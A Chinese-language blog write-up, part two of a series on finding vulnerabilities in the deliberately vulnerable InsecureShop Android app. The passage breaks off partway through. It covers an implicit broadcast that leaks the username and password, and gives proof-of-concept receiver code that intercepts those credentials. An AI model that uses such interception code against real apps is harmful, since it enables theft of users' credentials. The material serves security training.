【Android安全】insecureshop漏洞挖掘-下

目录

  • 漏洞#9 - 使用隐式intent发送带有敏感数据的广播
    • 1.漏洞分析
    • 2.poc编写
      • 2.1 poc安卓apk targetSdkVersion <=25-依赖清单中声明
      • 2.2 android8及以上-动态注册接收者
  • 漏洞#10 - 拦截隐式intent 加载任意url
    • 1.漏洞分析
  • poc编写
  • 漏洞#11 - 导出的 Activity 中 SetResult 的不安全实现
    • 1.漏洞分析
    • 2.poc编写
  • 漏洞#12 - 不安全的Content Provider
    • 1.漏洞分析
    • 2.poc编写
  • 漏洞#13 - 缺乏 SSL 证书验证
  • 漏洞#14 - 不安全的数据存储
  • 漏洞#15 - 不安全日志

漏洞#9 - 使用隐式intent发送带有敏感数据的广播

1.漏洞分析

AboutUsActivity.class
可以看到通过action隐式发送一个广播,内容为用户名和密码
【Android安全】insecureshop漏洞挖掘-下_第1张图片
这个onSendData是如何触发的呢,再次查看源码,发现当前源码文件中并没有直接调用的地方

怀疑可能在其他地方进行了调用,查看布局文件activity_about_us.xml
在布局文件中,button元素onclick事件关联了onSendData方法
【Android安全】insecureshop漏洞挖掘-下_第2张图片

2.poc编写

2.1 poc安卓apk targetSdkVersion <=25-依赖清单中声明

如果目标targetSdkVersion <=25
想要接收隐式广播,可以在androidManifest.xml中声明注册

<receiver>
    android:name=".vul_broadcastReciever.MyReceiver"
    android:enabled="true"
    android:exported="true">
    <intent-filter>
        <action android:name="com.insecureshop.action.BROADCAST"/>
    intent-filter>
receiver>

MyReceiver.class

public class MyReceiver extends BroadcastReceiver {
   

    @Override
    public void onReceive(Context context, Intent intent) {
   

        if (intent != null){
   
            String action = intent.getAction();
            if ("com.insecureshop.action.BROADCAST".equals(action)){
   
                String username = intent.getStringExtra("username");
                String password = intent.getStringExtra("password");

                if (username != null && password != null ) {
   
                    // 通过显示intent发送数据到activity中
                    Intent intent1 = new Intent(context,Vul_getDataFromBroadcast.class);
                    intent1.putExtra("username",username);
                    intent1.putExtra("password",password);
                    context.startActivity(intent1);
                }
            }
        }
    }
}

Vul_getDataFromBroadcast.class

// 接收数据
String username = getIntent().getStringExtra("username");
String password = getIntent().getStringExtra(&#

你可能感兴趣的:(app安全,android,安全)